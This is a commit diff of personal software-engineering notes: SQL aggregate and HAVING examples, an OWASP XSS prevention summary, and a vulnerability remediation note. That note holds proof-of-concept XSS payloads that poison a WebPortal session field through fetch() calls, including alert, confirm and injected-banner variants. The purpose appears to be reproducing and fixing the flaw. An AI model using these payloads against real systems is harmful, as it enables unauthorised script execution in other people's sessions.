updates
Some checks failed
Build Quartz Notes / build (push) Failing after 2m40s

This commit is contained in:
2026-06-04 14:47:44 +01:00
parent 58909ef3f1
commit 5d3ed14275
97 changed files with 3890 additions and 2266 deletions

View File

@@ -46,17 +46,14 @@ Some core programming concepts that are essential for software development. The
# APIs
- [[Restful API]]
- [[API Architecture]] (Just needs spell checks and re read)
- [[ASP.NET Core Web API Fundamental Notes]] (todo)
# Database Related
- [[Database Permissions, Roles, and Accounts]]
- [[SQL Joins]]
- [[Database Permissions, Roles, and Accounts]]
- [[SQL Joins]]
- [[Using Joins, Constraints, Normalization, and Subqueries]]
# Misc
- [[Windows Services]]
@@ -68,73 +65,73 @@ Some core programming concepts that are essential for software development. The
- [[OWASP Top 10]]
- [[Cross Site Scripting (XSS)]]
- [[Output Encoding]]
# Concepts to learn and talk about (cs and maths)
- ~~xor~~
- ~~big O notation~~
- ~~time complexity~~
- ~~space complexity~~
- data structures
- algorithms
- design patterns
- functional programming
- object-oriented programming
- relational databases vs non-relational databases
- ~~Database permissions, roles and accounts~~
- networking basics
- operating systems fundamentals
- concurrency and parallelism
- software development methodologies (Agile, Scrum, etc.)
- version control systems (Git, etc.)
- testing methodologies (unit testing, integration testing, etc.)
- security best practices
- cloud computing basics
- containerization (Docker, Kubernetes, etc.)
- DevOps practices
- ~~CI/CD pipelines~~
- microservices architecture
- API design and development
- ~~restful apis~~
- web development fundamentals (HTML, CSS, JavaScript)
- mobile app development basics
- machine learning basics
- data science fundamentals
- big data concepts
- blockchain basics
- cryptography fundamentals
- user experience (UX) design principles
- software architecture patterns (MVC, MVVM, etc.)
- debugging techniques
- performance optimization strategies
- software documentation best practices
- ethical considerations in software development
- emerging technologies in software development
- career development in software engineering
- soft skills for software engineers (communication, teamwork, etc.)
- project management basics for software projects
- open source contribution best practices
- remote work best practices for software engineers
- continuous learning strategies for software engineers
- data types
- bytes and bits
- number systems (binary, decimal, hexadecimal)
- logic gates
- set theory
- graph theory
- combinatorics
- probability theory
- statistics
- linear algebra
- calculus
- discrete mathematics
- compilers
- interpreters
- automata theory
- formal languages
- Turing machines
- computability theory
- MVPs and MVTs
- [x] xor
- [x] big O notation
- [x] time complexity
- [x] space complexity
- [ ] data structures
- [ ] algorithms
- [ ] design patterns
- [ ] functional programming
- [ ] object-oriented programming
- [ ] relational databases vs non-relational databases
- [x] Database permissions, roles and accounts
- [ ] networking basics
- [ ] operating systems fundamentals
- [ ] concurrency and parallelism
- [ ] software development methodologies (Agile, Scrum, etc.)
- [ ] version control systems (Git, etc.)
- [ ] testing methodologies (unit testing, integration testing, etc.)
- [ ] security best practices
- [ ] cloud computing basics
- [ ] containerization (Docker, Kubernetes, etc.)
- [ ] DevOps practices
- [x] CI/CD pipelines
- [ ] microservices architecture
- [ ] API design and development
- [x] restful apis
- [ ] web development fundamentals (HTML, CSS, JavaScript)
- [ ] mobile app development basics
- [ ] machine learning basics
- [ ] data science fundamentals
- [ ] big data concepts
- [ ] blockchain basics
- [ ] cryptography fundamentals
- [ ] user experience (UX) design principles
- [ ] software architecture patterns (MVC, MVVM, etc.)
- [ ] debugging techniques
- [ ] performance optimization strategies
- [ ] software documentation best practices
- [ ] ethical considerations in software development
- [ ] emerging technologies in software development
- [ ] career development in software engineering
- [ ] soft skills for software engineers (communication, teamwork, etc.)
- [ ] project management basics for software projects
- [ ] open source contribution best practices
- [ ] remote work best practices for software engineers
- [ ] continuous learning strategies for software engineers
- [ ] data types
- [ ] bytes and bits
- [ ] number systems (binary, decimal, hexadecimal)
- [ ] logic gates
- [ ] set theory
- [ ] graph theory
- [ ] combinatorics
- [ ] probability theory
- [ ] statistics
- [ ] linear algebra
- [ ] calculus
- [ ] discrete mathematics
- [ ] compilers
- [ ] interpreters
- [ ] automata theory
- [ ] formal languages
- [ ] Turing machines
- [ ] computability theory
- [x] MVPs and MVTs
# Data view query

Binary file not shown.

After

Width:  |  Height:  |  Size: 447 KiB

View File

@@ -16,3 +16,5 @@ Here are the different types of JOINs in SQL:
- LEFT (OUTER) JOIN: Returns all rows from the left table, and only the matched rows from the right table
- RIGHT (OUTER) JOIN: Returns all rows from the right table, and only the matched rows from the left table
- FULL (OUTER) JOIN: Returns all rows when there is a match in either the left or right table
![[Pasted image 20260603221345.png]]

View File

@@ -0,0 +1,269 @@
---
note type:
- sql
- database
- theory
date: 2026-06-03
done:
link: https://app.pluralsight.com/ilx/video-courses/sql-joins-constraints-normalization-subqueries/course-overview
---
# Common Aggregate Functions
|title|cost|duration|
|---|---|---|
|Gone with the wind|390000|220|
|Frankenstein|3000000|50|
|Creature from the black lagoon|500000|79|
|NULL|100|10|
## 1. COUNT()
## Count all rows
`SELECT COUNT(*) FROM Movies;`
**Output:**
```
4
```
- Counts all rows, including rows where columns are `NULL`.
### Count non-NULL values in a column
`SELECT COUNT(title) FROM Movies;`
**Output:**
```
3
```
- `NULL` title is **not counted**.
## 2. MIN()
`SELECT MIN(cost) FROM Movies;`
**Output:**
```
100
```
- Returns the smallest value in the column.
## 3. MAX()
`SELECT MAX(cost) FROM Movies;`
**Output:**
```
3000000
```
- Returns the largest value.
## 4. SUM()
`SELECT SUM(cost) FROM Movies;`
**Output:**
```
3890100
```
Calculation:
```
390000 + 3000000 + 500000 + 100 = 3890100
```
- Adds all values in the column.
- Ignores `NULL` values (none in `cost` here).
## 5. AVG()
`SELECT AVG(cost) FROM Movies;`
**Output:**
```
972525
```
Calculation:
```
3890100 / 4 = 972525
```
- Computes the average of all values.
---
## Using Multiple Aggregates
```
SELECT
    COUNT(*) AS total_movies,
    MIN(cost) AS cheapest,
    MAX(cost) AS most_expensive,
    SUM(cost) AS total_cost,
    AVG(cost) AS average_cost
FROM Movies;
```
**Output:**
```
total_movies | cheapest | most_expensive | total_cost | average_cost
4 | 100 | 3000000 | 3890100 | 972525
```
# Filtering Aggregates
| title | cost | duration | genre |
| ------------------------------ | ------- | -------- | ------ |
| Gone with the wind | 390000 | 220 | Drama |
| Frankenstein | 3000000 | 50 | Horror |
| Creature from the black lagoon | 500000 | 79 | Horror |
| Casablanca | 1000000 | 102 | Drama |
| Toy Story | 2000000 | 81 | Family |
| NULL | 100 | 10 | Horror |
## GROUP BY
`GROUP BY` groups rows so aggregates are calculated per group rather than across the whole table.
```
SELECT genre, SUM(cost) AS total_cost
FROM Movies
GROUP BY genre;
```
Output:
```
genre | total_cost
Drama | 1390000
Horror | 3500100
Family | 2000000
```
```
SELECT genre, AVG(duration) AS avg_duration
FROM Movies
GROUP BY genre;
```
Output:
```
genre | avg_duration
Drama | 161
Horror | 46.33
Family | 81
```
---
## WHERE (filtering rows before aggregation)
`WHERE` filters rows **before** grouping and aggregation.
```
SELECT genre, COUNT(*) AS num_movies
FROM Movies
WHERE duration > 60
GROUP BY genre;
```
Output:
```
genre | num_movies
Drama | 2
Horror | 1
Family | 1
```
Explanation:
- The row with duration = 10 is excluded before grouping.
## HAVING (filtering groups after aggregation)
`HAVING` filters results **after aggregation**.
```
SELECT genre, SUM(cost) AS total_cost
FROM Movies
GROUP BY genre
HAVING SUM(cost) >= 2000000;
```
Output:
```
genre | total_cost
Horror | 3500100
Family | 2000000 -- note: included only if >= was used
```
If strictly `> 2000000`, only:
```
Horror | 3500100
```
```
SELECT genre, COUNT(*) AS num_movies
FROM Movies
GROUP BY genre
HAVING COUNT(*) > 2;
```
Output:
```
genre | num_movies
Horror | 3
```
## Combined Example
```
SELECT genre, AVG(cost) AS avg_cost
FROM Movies
WHERE duration > 60
GROUP BY genre
HAVING AVG(cost) > 1000000;
```
Steps:
1. WHERE filters rows (duration > 60)
2. GROUP BY groups remaining data
3. HAVING filters grouped results
Output:
```
genre | avg_cost
Family | 2000000
```

View File

@@ -428,10 +428,73 @@ Master procedure: **Replicating the vulnerability** section above.
| Should it still be fixed? | **Yes**, as hygiene |
| Priority vs SQLi / IDOR? | **Much lower** (informational) |
## Next step
## Code snippets
1. **Reproduce** on cert/UAT (`replicate-vuln` todo).
2. **Implement** fixes in `D:\_dev\WebPortal` (`remediate-encode`, `remediate-validate`).
3. **Replay** steps and fill comparison matrix (`remediate-retest` todo).
### Reset:
Confirm execution when ready to change WebPortal code.
```
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json; charset=utf-8' },
  body: JSON.stringify({
    searchID: '0.X', orderID: '0.X',
    date: '2026-05-27', time: '00:00', hours: 24,
    displayPriorityJourneys: false, quickSearch: ''
  })
}).then(() => location.reload());
```
### Alert
```
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json; charset=utf-8' },
  body: JSON.stringify({
    searchID: '0.X',
    orderID: '0.X',
    date: '"+alert(1)+"',
    time: '00:00',
    hours: 24,
    displayPriorityJourneys: false,
    quickSearch: ''
  })
}).then(r => console.log(r.status, r.statusText));
```
### Poison Session
```
function poisonSession(field, payload) {
  const body = {
    searchID: '0.X',
    orderID: '0.X',
    date: '2026-05-27',
    time: '00:00',
    hours: 24,
    displayPriorityJourneys: false,
    quickSearch: ''
  };
  body[field] = payload;
  return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json; charset=utf-8' },
    body: JSON.stringify(body)
  }).then(r => console.log(field, r.status, r.statusText));
}
```
### Confirm / prompt (alternative dialog evidence)
```
poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"');
```
### Visible banner
```
poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","<div style=\\"position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\">XSS PoC — arbitrary script executed in SEB context</div>")+"');
```

View File

@@ -1 +0,0 @@

6
Career/Regex.md Executable file
View File

@@ -0,0 +1,6 @@
---
note type:
- theory
date: 2026-06-04
done:
---

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

View File

@@ -38,3 +38,7 @@ Example: An attacker manipulates the URL of a web page to include a malicious sc
- Content Security Policy (CSP): Implement a Content Security Policy to restrict the sources from which scripts can be loaded and executed. This can help mitigate the impact of XSS attacks.
- Use Security Libraries: Utilize security libraries and frameworks that provide built-in protection against XSS vulnerabilities.
# Links:
- https://cwe.mitre.org/data/definitions/79.html
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog

View File

@@ -0,0 +1,46 @@
---
note type:
- security
- theory
date: 2026-06-03
done: true
link: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
---
## XSS Defense Philosophy[¶](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#xss-defense-philosophy "Permanent link")
In order for an XSS attack to be successful, an attacker must be able to insert and execute malicious content in a webpage. Thus, all variables in a web application needs to be protected. Ensuring that **all variables** go through validation and are then escaped or sanitized is known as **perfect injection resistance**. Any variable that does not go through this process is a potential weakness. Frameworks make it easy to ensure variables are correctly validated and escaped or sanitised.
However, no framework is perfect and security gaps still exist in popular frameworks like React and Angular. Output encoding and HTML sanitization help address those gaps.
## Output encoding
When you want data to be safely displayed, just as a user types it in, output encoding is recommended. Variables should not be interpreted as code instead of text. There are different types of output encoding mechanisms used.
### Output Encoding for HTML Contexts.
“HTML Context” refers to inserting a variable between two basic HTML tags like a `<div>` or `<b>`. For example:
`<div> $varUnsafe </div>`
An attacker could modify data that is rendered as `$varUnsafe`. This could lead to an attack being added to a webpage. For example:
``<div> <script>alert`1`</script> </div> // Example Attack``
### Output Encoding for “JavaScript Contexts”
“JavaScript Contexts” refers to the situation where variables are placed into inline JavaScript and then embedded in an HTML document. This situation commonly occurs in programs that heavily use custom JavaScript that is embedded in their web pages.
However, the only safe location for placing variables in JavaScript is inside a “quoted data value”. All other contexts are unsafe and you should not place variable data in them.
Examples of “Quoted Data Values”
`<script>alert('$varUnsafe)</script> <script>x=$varUnsafe</script> <div onmouseover="'$varUnsafe'"</div>`
Encode all characters using the `\xHH` format. Encoding libraries often have a `EncodeForJavaScript` or similar to support this function.
Please look at the [OWASP Java Encoder JavaScript encoding examples](https://owasp.org/www-project-java-encoder/) for examples of proper JavaScript use that requires minimal encoding.
For JSON, verify that the `Content-Type` header is `application/json` and not `text/html` to prevent XSS.
## Example
![[Pasted image 20260603202316.png]]